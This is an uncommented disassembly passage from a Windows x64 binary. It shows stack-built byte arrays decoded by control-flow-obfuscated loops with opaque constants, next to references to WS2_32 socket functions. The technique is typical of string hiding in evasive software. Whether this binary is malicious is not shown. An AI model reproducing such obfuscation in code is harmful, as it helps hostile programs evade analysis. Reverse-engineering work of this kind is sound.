mov byte [rbp + 0x75f], 0xef
mov byte [rbp + 0x760], 0xb8
mov byte [rbp + 0x761], 0xed
mov byte [rbp + 0x762], 0x87
mov byte [rbp + 0x763], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x764], 0x44
mov byte [rbp + 0x765], Ordinal_211
mov byte [rbp + 0x766], r14b
mov byte [rbp + 0x767], Ordinal_217
mov byte [rbp + 0x768], 0x81
mov byte [rbp + 0x769], Ordinal_217
mov byte [rbp + 0x76a], 0x7e
mov byte [rbp + 0x76b], 0xdb
mov byte [rbp + 0x76c], 0x7c
mov byte [rbp + 0x76d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x76e], WSACleanup
mov byte [rbp + 0x76f], 0xdf
mov byte [rbp + 0x770], Ordinal_143
mov byte [rbp + 0x771], 0xdd
mov byte [rbp + 0x772], 0x64
mov byte [rbp + 0x773], Ordinal_200
mov byte [rbp + 0x774], WSAGetLastError
mov byte [rbp + 0x775], 0xc1
mov byte [rbp + 0x776], 0x54
mov byte [rbp + 0x777], Ordinal_200
mov byte [rbp + 0x778], Ordinal_200
mov byte [rbp + 0x779], Ordinal_200
xor eax, eax
mov dword [rbp + 0x77a], eax
mov word [rbp + 0x77e], ax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, r14
jae 0x1401f7639
movzx r8d, byte [rbp + r9 + 0x740]
mov r11, r8
cmp rdi, r9
ja 0x1401f7630
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f6ab0
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x32
jmp 0x1401f6aea
je 0x1401f75a3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f754d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f74f6
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f74cd
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f7483
cmp r10, r9
ja 0x1401f7627
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x1401f6b1d
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
jmp 0x1401f6d2f
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f7465
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f7442
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f7413
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f73ff
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f704f
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401f702e
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401f701a
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401f6ff7
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401f6fe3
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f6fc0
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f6f9d
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1401f6f79
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401f6f56
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f6f32
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401f6b5e
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401f7601
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401f75db
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1401f6d5c
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401f6d36
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x1401f6d13
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401f6f0e
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401f6efa
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401f6ed9
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401f6eab
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401f6b5e
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401f6e85
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401f6e64
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401f6e43
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401f6e1d
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f6dfa
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401f6dd9
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401f6db6
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401f6d93
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401f6d7f
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401f6b5e
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x1401f6b5e
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x1401f6b51
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f6aea
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401f6a79
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x1401f7492
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1401f74c8
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401f74ee
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401f73a2
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401f73d1
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f7431
movabs rdx, 0xf6ac79feec559fc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1401f7515
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x1401f6f72
movabs rdx, 0x8de32188cc04a8d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f75c4
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x740], bl
jmp 0x1401f75d3
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x1401f70eb
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x1401f70a4
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f7078
movabs rdx, 0x64c66288f9f66384
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f75c2
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1401f7571
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f7515
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401f7431
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401f73d1
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_45
jmp 0x1401f6de8
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401f74ee
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401f71dd
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1401f74a2
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x1401f7122
movabs rdx, 0xda32561d88143dbe
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x1401f73d6
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x1401f71f4
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, r14
jae 0x1401f7381
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x1401f72c1
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 0x1000
jb 0x1401f6ecc
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401f74a4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f714e
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401f75c4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f7168
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x1401f6f88
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f7197
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f73d1
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f71c1
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x1401f73a5
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f707a
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f74c8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f721e
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
jmp 0x1401f74a2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f7248
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x1401f73a5
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f7265
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401f7180
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f7291
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x1401f7431
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f70b6
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x1401f75c4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f72ed
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401f75c4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f7317
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401f7515
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f7334
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1401f7180
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f7351
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f74dc
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f70ed
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x1401f74c8
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x740]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add rdi, r10
jmp 0x1401f7431
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x740]
jmp 0x1401f6f95
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1401f6f88
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401f75d3
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x1401f74ee
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
jmp 0x1401f74a2
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add r10, r15
jmp 0x1401f74ee
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, r15
jmp 0x1401f75d3
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x740], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x1401f7571
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401f75c4
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, byte [rbp + r9 + 0x740]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401f6a67
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f6a64
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f6a54
lea rdx, [rbp + 0x15982e8]
jmp 0x1401f7640
lea rdx, [rbp + 0x16dc0a6]
jmp 0x1401f7640
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0xd8]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2410]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f7675
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2410]
call fcn.140174580
nop
lea rcx, [rbp + 0x2410]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2410]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xb50], 0xe3
mov byte [rbp + 0xb51], 0xad
mov byte [rbp + 0xb52], 0xec
mov byte [rbp + 0xb53], 0xab
mov byte [rbp + 0xb54], ntohl
mov byte [rbp + 0xb55], 0xa9
mov byte [rbp + 0xb56], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xb57], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xb58], 0x3d
mov byte [rbp + 0xb59], __WSAFDIsSet
mov byte [rbp + 0xb5a], r13b
mov byte [rbp + 0xb5b], __WSAFDIsSet
mov byte [rbp + 0xb5c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb5d], __WSAFDIsSet
mov byte [rbp + 0xb5e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb5f], 0x9f
mov byte [rbp + 0xb60], 7
mov byte [rbp + 0xb61], 0x9d
mov byte [rbp + 0xb62], 5
mov byte [rbp + 0xb63], 0x9b
mov byte [rbp + 0xb64], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb65], 0x99
mov byte [rbp + 0xb66], Ordinal_45
mov byte [rbp + 0xb67], 0x87
mov byte [rbp + 0xb68], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xb69], 0x85
mov byte [rbp + 0xb6a], Ordinal_217
mov byte [rbp + 0xb6b], 0x83
mov byte [rbp + 0xb6c], 0x3d
mov byte [rbp + 0xb6d], 0x81
mov byte [rbp + 0xb6e], Ordinal_50
mov byte [rbp + 0xb6f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb70], Ordinal_45
mov byte [rbp + 0xb71], Ordinal_143
mov byte [rbp + 0xb72], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb73], Ordinal_143
mov byte [rbp + 0xb74], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb75], Ordinal_143
mov byte [rbp + 0xb76], 0x64
mov byte [rbp + 0xb77], 0xf7
mov byte [rbp + 0xb78], 0x5c
mov byte [rbp + 0xb79], 0xf5
mov byte [rbp + 0xb7a], 0x62
mov byte [rbp + 0xb7b], 0xf3
mov byte [rbp + 0xb7c], 0xaa
mov byte [rbp + 0xb7d], 0xf1
mov byte [rbp + 0xb7e], 0xa2
mov byte [rbp + 0xb7f], 0xff
mov byte [rbp + 0xb80], 0xae
mov byte [rbp + 0xb81], 0xfd
mov byte [rbp + 0xb82], 0x57
mov byte [rbp + 0xb83], 0xfb
mov byte [rbp + 0xb84], 0x60
mov byte [rbp + 0xb85], 0xf9
mov byte [rbp + 0xb86], Ordinal_79
mov byte [rbp + 0xb87], 0xe7
mov byte [rbp + 0xb88], 0xb6
mov byte [rbp + 0xb89], 0xe5
mov byte [rbp + 0xb8a], 0x77
mov byte [rbp + 0xb8b], 0xe3
mov byte [rbp + 0xb8c], 0x7d
mov byte [rbp + 0xb8d], 0xe1
mov byte [rbp + 0xb8e], 0x47
mov byte [rbp + 0xb8f], 0xef
mov byte [rbp + 0xb90], 0xec
mov byte [rbp + 0xb91], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb92], xmm0
mov qword [rbp + 0xba2], rax
mov byte [rbp + 0xbaa], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x1401f8455
movzx r8d, byte [rbp + r9 + 0xb50]
mov r11, r8
cmp rdi, r9
ja 0x1401f844c
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f78f7
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x1401f7931
je 0x1401f83c7
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f833d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f8308
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f82be
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f8295
cmp r10, r9
ja 0x1401f8443
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x1401f7957
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401f7b3e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f8251
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f8231
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f820e
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401f81eb
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f7ed8
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f7eb7
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401f7ea3
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401f7e80
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401f7e5e
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f7e38
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f7e16
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f7e02
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f7de0
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401f7dcc
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401f7998
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401f8421
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1401f83fb
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401f7b78
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401f7b55
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x1401f7b2f
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401f7d71
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401f7d16
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401f7cc8
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401f7ca6
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401f7c85
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401f7c61
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x1401f7c3e
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401f7c2a
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401f7c08
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401f7be2
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401f7bbf
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401f7b9e
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f7998
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x1401f7998
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f798b
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x1401f7931
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f78c0
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401f826d
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x1401f82b3
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f82b6
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x1401f82dc
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f8317
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x1401f832c
movabs rdx, 0x762804f2acf943d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f835f
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1401f8207
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1401f83e4
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
cmp r10, 0x41
jb 0x1401f8189
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x1401f826f
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 3
jae 0x1401f8196
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x1401f80cf
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x1401f7ce5
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x1401f81c2
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401f7fee
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401f7d37
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x1401f7f1f
movabs rcx, 0x2ff86cf568abe098
add rcx, r9
mov al, cl
and al, r8b
add al, al
